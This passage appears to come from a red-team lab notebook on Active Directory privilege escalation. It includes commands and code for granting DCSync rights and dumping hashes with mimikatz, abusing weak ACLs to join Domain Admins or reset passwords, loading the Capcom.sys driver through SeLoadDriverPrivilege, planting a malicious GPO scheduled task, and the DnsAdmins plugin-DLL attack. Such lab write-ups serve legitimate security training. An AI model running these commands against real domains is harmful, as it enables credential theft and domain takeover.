> * The “[**Replicating Directory Changes All**](https://msdn.microsoft.com/en-us/library/ms684355\(v=vs.85\).aspx)” extended right
>   * **CN:** DS-Replication-Get-Changes-All
>   * **GUID:** 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
> * The “[**Replicating Directory Changes In Filtered Set**](https://msdn.microsoft.com/en-us/library/hh338663\(v=vs.85\).aspx)” extended right (this one isn’t always needed but we can add it just in case :)
>   * **CN:** DS-Replication-Get-Changes-In-Filtered-Set
>   * **GUID:** 89e95b76-444d-4c62-991a-0facbeda640c
>
> <http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/>

## Execution

Inspecting domain's `offense.local` permissions, it can be observed that user `spotless` does not have any special rights just yet:

![](/files/-LYHcll2Cw7RXzll00Y7)

Using PowerView, we can grant user `spotless` 3 rights that would allow them to grab password hashes from the DC:

{% code title="attacker\@victim" %}

```csharp
Add-ObjectACL -PrincipalIdentity spotless -Rights DCSync
```

{% endcode %}

Below shows the above command and also proves that spotless does not belong to any privileged group:

![](/files/-LYHcnmhsrPaq84QCCXJ)

However, inspecting `offense.local` domain object's privileges now, we can see 3 new rights related to `Directory Replication` added:

![](/files/-LYHcqSVg0P0r8dBLjpC)

Let's grab the SID of the user spotless with `whoami /all`:

![](/files/-LYHeE3F5dXK_ePCdQJH)

Using powerview, let's check that the user `spotless` `S-1-5-21-2552734371-813931464-1050690807-1106` has the same privileges as seen above using the GUI:

{% code title="attacker\@kali" %}

```csharp
Get-ObjectAcl -Identity "dc=offense,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2552734371-813931464-1050690807-1106"}
```

{% endcode %}

![](/files/-LYHeGTSUXeuBes1DUA8)

Additionally, we can achieve the same result without PowerView if we have access to AD Powershell module:

{% code title="attacker\@victim" %}

```csharp
Import-Module ActiveDirectory
(Get-Acl "ad:\dc=offense,dc=local").Access | ? {$_.IdentityReference -match 'spotless' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) }
```

{% endcode %}

![](/files/-LYHo8SqVwHexwGHFRIn)

See [Active Directory Enumeration with AD Module without RSAT or Admin Privileges](/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges) to learn how to get AD module without admin privileges.

### DCSyncing Hashes

Since the user `spotless` has now the required privileges to use `DCSync`, we can use mimikatz to dump password hashes from the DC via:

{% code title="attacker\@victim" %}

```csharp
lsadump::dcsync /user:krbtgt
```

{% endcode %}

![](/files/-LYHfiPA13UOQiYsWHVT)

## References

{% embed url="<http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/>" %}

{% embed url="<https://blog.stealthbits.com/extracting-user-password-data-with-mimikatz-dcsync/>" %}

{% embed url="<https://medium.com/@jsecurity101/syncing-into-the-shadows-bbd656dd14c8>" %}


# PowerView: Active Directory Enumeration

This lab explores a couple of common cmdlets of PowerView that allows for Active Directory/Domain enumeration.

## Get-NetDomain

Get current user's domain:

![](/files/-LLzd9N9rZOj1zqIhSBF)

## Get-NetForest

Get information about the forest the current user's domain is in:

![](/files/-LLzddnEPdmu7Q8SfouR)

## Get-NetForestDomain

Get all domains of the forest the current user is in:

![](/files/-LLzf0S10E1OSY7T7k9H)

## Get-NetDomainController

Get info about the DC of the domain the current user belongs to:

![](/files/-LLzfOFLgrOxW6Y-bR52)

## Get-NetGroupMember

Get a list of domain members that belong to a given group:

![](/files/-LLzgA_HPmbcYClpCNOt)

## Get-NetLoggedon

Get users that are logged on to a given computer:

![](/files/-LLzhPeRsZfpet96kWuT)

## Get-NetDomainTrust

Enumerate domain trust relationships of the current user's domain:

![](/files/-LLzhpw5yYwcsbZ5Arzk)

## Get-NetForestTrust

Enumerate forest trusts from the current domain's perspective:

![](/files/-LLzi97c12Py-wn6iGz1)

## Get-NetProcess

Get running processes for a given remote machine:

```csharp
Get-NetProcess -ComputerName dc01 -RemoteUserName offense\administrator -RemotePassword 123456 | ft
```

![](/files/-LQIu2VkugNWZBJbC43M)

## Invoke-MapDomainTrust

Enumerate and map all domain trusts:

![](/files/-LLzjb4pR0R0QZFWnSEL)

## Invoke-ShareFinder

Enumerate shares on a given PC - could be easily combines with other scripts to enumerate all machines in the domain:

![](/files/-LLzkAMHWApp9EX94TzE)

## Invoke-UserHunter

Find machines on a domain or users on a given machine that are logged on:

![](/files/-LLzlbfMrGPxEcvbX6E1)

## References

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}


# Abusing Active Directory ACLs/ACEs

## Context

This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.

Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).&#x20;

An example of ACEs for the "Domain Admins" securable object can be seen here:

![](/files/-LQozBYCqiYmXeC0X8td)

Some of the Active Directory object permissions and types that we as attackers are interested in:

* **GenericAll** - full rights to the object (add users to a group or reset user's password)
* **GenericWrite** - update object's attributes (i.e logon script)
* **WriteOwner** - change object owner to attacker controlled user take over the object
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
* **AllExtendedRights** - ability to add user to a group or reset password
* **ForceChangePassword** - ability to change user's password
* **Self (Self-Membership)** - ability to add yourself to a group

In this lab, we are going to explore and try to exploit most of the above ACEs.

## Execution

### GenericAll on User

Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`:

```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}  
```

We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:

![](/files/-LQjpClfAYbjfz5sTFhk)

We can reset user's `delegate` password without knowing the current password:

![](/files/-LQp0OBEFjQyrzBFIbRN)

### GenericAll on Group

Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`:

```csharp
Get-NetGroup "domain admins" -FullData
```

![](/files/-LQmijiklf02gLJWMtCp)

```csharp
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
```

We can see that our attacking user `spotless` has `GenericAll` rights once again:

![](/files/-LQmjBGYGbZA_OOIeNHO)

Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group:

```csharp
net group "domain admins" spotless /add /domain
```

![](/files/-LQmn2GTsTnPY3SQCslO)

Same could be achieved with Active Directory or PowerSploit module:

```csharp
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```

### GenericAll / GenericWrite / Write on Computer

If you have these privileges on a Computer object, you can pull [Kerberos Resource-based Constrained Delegation: Computer Object Take Over](/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) off.

### WriteProperty on Group

If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:

![](/files/-LQn0GQY_pynhU0Gap3y)

We can again add ourselves to the `Domain Admins` group and escalate privileges:

```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```

![](/files/-LQn-AtQXNvoLNDvyb0T)

### Self (Self-Membership) on Group

Another privilege that enables the attacker adding themselves to a group:

![](/files/-LQn3ApZIp7wGvogb4yW)

```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```

![](/files/-LQn3WPwtfgu7VBo-Jgo)

### WriteProperty (Self-Membership)

One more privilege that enables the attacker adding themselves to a group:

```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```

![](/files/-LQnuYxxnMVF0KUlnZhS)

```csharp
net group "domain admins" spotless /add /domain
```

![](/files/-LQnurOfE0u5MmN70FQl)

### **ForceChangePassword**

If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:

```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```

![](/files/-LQnIJkd1cZiPs5pAKxh)

Doing the same with powerview:

```csharp
Set-DomainUserPassword -Identity delegate -Verbose
```

![](/files/-LQnIhBndQp0TR-oq77M)

Another method that does not require fiddling with password-secure-string conversion:

```csharp
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
```

![](/files/-LQneUrg0fzhoLA_Nf6_)

...or a one liner if no interactive session is not available:

```csharp
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

![](/files/-LQnOmTWDzUfJFsAcKA4)

### WriteOwner on Group

Note how before the attack the owner of `Domain Admins` is `Domain Admins`:

![](/files/-LQoEZ10KIG81i-2awq5)

After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`

```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```

![](/files/-LQoEdTkZ0renZwjI4Y7)

...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:

```csharp
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
```

![](/files/-LQoEw6ju4djFcgir36x)

### GenericWrite on User

```csharp
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```

![](/files/-LQojJ2fBHF5Sd_kfc3V)

`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:

```csharp
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```

Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:

![](/files/-LQojiC-BS6rJYq9PMaj)

### WriteDACL + WriteOwner

If you are the owner of a group, like I'm the owner of a `Test` AD group:

![](/files/-LQz0EI9Uv43_y7X1LuZ)

Which you can of course do through powershell:

```csharp
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
```

![](/files/-LQz5TlyZ8PzQSkMwgjs)

And you have a `WriteDACL` on that AD object:

![](/files/-LQz0NbqcSfT3gWVhr6D)

...you can give yourself [`GenericAll`](/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) privileges with a sprinkle of ADSI sorcery:

```csharp
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```

Which means you now fully control the AD object:

![](/files/-LQz0XLP59LZk0Cwuey1)

This effectively means that you can now add new users to the group.

Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:

```csharp
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
```

![](/files/-LQz11n0b6eE7L6BHO-O)

## References

{% embed url="<https://wald0.com/?p=112>" %}

{% embed url="<https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2>" %}

{% embed url="<https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>" %}

{% embed url="<https://adsecurity.org/?p=3658>" %}

{% embed url="<https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType>\_" %}

[PowerView Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)


# Privileged Accounts and Token Privileges

Administrators, Domain Admins, Enterprise Admins are well known AD groups that allow for privilege escalation, that pentesters and red teamers will aim for in their engagements, but there are other account memberships and access token privileges that can also be useful during security assesments when chaining multiple attack vectors.

## Account Operators

* Allows creating non administrator accounts and groups on the domain
* Allows logging in to the DC locally

Note the spotless' user membership:

![](/files/-LTx6i9cMfOTta_TgJkZ)

However, we can still add new users:

![](/files/-LTx6j_Iead_CNebgMJV)

As well as login to DC01 locally:

![](/files/-LTx7ZTZaGT0aJmV4ISE)

## Server Operators

This membership allows users to configure Domain Controllers with the following privileges:

* Allow log on locally
* Back up files and directories
* Change the system time
* Change the time zone
* Force shutdown from a remote system
* Restore files and directories
* Shut down the system

Note how we cannot access files on the DC with current membership:

![](/files/-LTxF30kj5kTOqepO4DK)

However, if the user belongs to `Server Operators`:

![](/files/-LTxFAt8hZiPk2gFEOVG)

The story changes:

![](/files/-LTxFH9qAsohsIcc9tSm)

## Backup Operators

As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators`:

![](/files/-LTxFsmrRbaPg-_-2Fgj)

## SeLoadDriverPrivilege

A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege:

![](/files/-LTyK0ejR4KyPa4fpTAR)

`Whoami /priv` shows the privilege is disabled by default:

![](/files/-LTyKDqYVV1XFCM0SClP)

However, the below code allows enabling that privilege fairly easily:

{% code title="privileges.cpp" %}

```cpp
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	system("cmd");
    return 0;
}
```

{% endcode %}

We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now enabled:

![](/files/-LTyLH-MWOkrcKqPv4r3)

### Capcom.sys Driver Exploit

To further prove the `SeLoadDriverPrivilege` is dangerous, let's exploit it to elevate privileges.

Let's build on the previous code and leverage the Win32 API call `ntdll.NtLoadDriver()` to load the malicious kernel driver `Capcom.sys`. Note that lines 55 and 56 of the `privileges.cpp` are:

```cpp
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
```

The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service) when executing the exploit:

{% code title="privileges.cpp" %}

```cpp
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"

NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	//system("cmd");
	// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
	std::cout << "[+] Set Registry Keys" << std::endl;
	NTSTATUS st1;
	UNICODE_STRING pPath;
	UNICODE_STRING pPathReg;
	PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
	PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
	const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
	HMODULE hObsolete = GetModuleHandleA(NTDLL);
	*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
	*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
	*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");

	RtlInitUnicodeString(&pPath, pPathSource);
	RtlInitUnicodeString(&pPathReg, pPathSourceReg);
	st1 = NtLoadDriver(&pPathReg);
	std::cout << "[+] value of st1: " << st1 << "\n";
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver Loaded as Kernel..\n";
		std::cout << "[+] Press [ENTER] to unload driver\n";
	}

	getchar();
	st1 = NtUnloadDriver(&pPathReg);
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver unloaded from Kernel..\n";
		std::cout << "[+] Press [ENTER] to exit\n";
		getchar();
	}

    return 0;
}
```

{% endcode %}

Once the above code is compiled and executed, we can see that our malicious `Capcom.sys` driver gets loaded onto the victim system:

![](/files/-LTyWzFCfAHYYzM7B4JU)

{% file src="/files/-LTyZ9IkoofuWRxlNpUG" %}
Capcom.sys
{% endfile %}

We can now download and compile the Capcom exploit from <https://github.com/tandasat/ExploitCapcom> and execute it on the system to elevate our privileges to `NT Authority\System`:

![](/files/-LTyXqhussGJVTLXtiv4)

## GPO Delegation

Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:

![](/files/-LU0osxFbkS-f65Eq-mk)

We can see this by leveraging PowerView like so:

{% code title="attacker\@victim" %}

```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```

{% endcode %}

The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse:

![](/files/-LU0ouXjPBt-6c935Sg9)

More about general AD ACL/ACE abuse refer to the lab:

{% content-ref url="/pages/-LQimOasCuAaGC6hgChU" %}
[Abusing Active Directory ACLs/ACEs](/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
{% endcontent-ref %}

### Abusing the GPO Permissions

We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:

![](/files/-LU0qS-w1r8Yl2EAwJ8i)

If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:

```csharp
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```

![](/files/-LUAQX8hJKJAgIq-DjKb)

#### Computers with a Given Policy Applied

We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:

```csharp
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```

![ws01.offense.local has "Misconfigured Policy" applied to it](/files/-LUAQYr4Kk2056DbNQ7b)

#### Policies Applied to a Given Computer

```csharp
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
```

![](/files/-LWNBOmSsNrObOboiT2E)

#### OUs with a Given Policy Applied

```csharp
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
```

![](/files/-LWNBtLT332kTVDzd5qV)

#### Abusing Weak GPO Permissions

One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:

```csharp
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```

![](/files/-LUAqx9nlqAD9T50ON2b)

The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`:

![](/files/-LUAr6Xq05z-EfZfbkbI)

### Force Policy Update

ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group:

![](/files/-LUArIwm3z8uCrZyWpPd)

### Under the hood

If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:

![](/files/-LUAUsiOp1wPCBZZyS-9)

Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

```markup
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>NT AUTHORITY\System</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>false</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>false</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>true</Hidden>
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                    <RestartOnFailure>
                        <Interval>PT15M</Interval>
                        <Count>3</Count>
                    </RestartOnFailure>
                </Settings>
                <Actions Context="Author">
                    <Exec>
                        <Command>cmd</Command>
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
                    </Exec>
                </Actions>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>
```

{% endcode %}

### Users and Groups

The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

```markup
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>
```

{% endcode %}

Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

## References

{% embed url="<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c-->" %}

{% embed url="<https://adsecurity.org/?p=3658>" %}

{% embed url="<http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/>" %}

{% embed url="<https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/>" %}

{% embed url="<https://rastamouse.me/2019/01/gpo-abuse-part-1/>" %}

{% embed url="<https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13>" %}

{% embed url="<https://github.com/tandasat/ExploitCapcom>" %}

{% embed url="<https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp>" %}

{% embed url="<https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys>" %}

{% embed url="<https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e>" %}

{% embed url="<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html>" %}


# From DnsAdmins to SYSTEM to Domain Compromise

In this lab I'm trying to get code execution with `SYSTEM` level privileges on a DC that runs a DNS service as originally researched by Shay Ber [here](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83).

The attack relies on a [DLL injection](/offensive-security/code-injection-process-injection/dll-injection) into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller.

## Execution

For the attack to work, we need to have compromised a user that belongs to a `DnsAdmins` group on a domain. Luckily, our user `spotless` already belongs to the said group:

```csharp
 net user spotless /domain
```

![](/files/-LR2gtrG4kcHto4Kpr2p)

### Building the DLL

As mentioned earlier, we need to build a DNS plugin DLL that we will be injecting into a dns.exe process on a victim DNS server (DC). Below is a screenshot of the DLL exported functions that are expected by the dns.exe binary when loading a plugin DLL. I have also added a simple system command to invoke a netcat reverse shell once the plugin is initialized and code is executed.&#x20;

I then tested the function with rundll32 as shown below, which returned a reverse shell to my attacking machine - code gets executed, shell gets spawned:

```csharp
rundll32.exe .\dnsprivesc.dll,DnsPluginInitialize
```

![](/files/-LR2pCB0IsoJbKE_SZye)

### Abuse DNS with dnscmd

Now that we have the DLL and we checked that it is working, we can ask the victim `DC01` to load our malicious DLL (from the victim controlled network share on host 10.0.0.2) next time the service starts (or when the attacker restarts it):

{% code title="<attacker@victim.memberOfDnsAdmins>" %}

```csharp
dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll
```

{% endcode %}

The below looks promising and suggests the request to load our malicious DLL was successful:

![](/files/-LR3lbJqRmUU2cbyS82n)

{% hint style="info" %}
`dnscmd` is a windows utility that allows people with `DnsAdmins` privileges manage the DNS server. The utility can be installed by adding `DNS Server Tools` to your system as shown in the below screengrab.
{% endhint %}

![](/files/-LR2jG5P2PtXfpGjKZHC)

The below command on the victim further suggests that our request was successful and the registry value `ServerLevelPluginDll` points to our malicious DLL:

```csharp
# note that as attacker you cannot check this on a DC since you do not have yet access to the system. Because this is a lab environment, I am checking the registry from the DC itself.
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
```

![](/files/-LR3kZiAcrEYYkB8lirK)

### Getting code execution with NT\SYSTEM

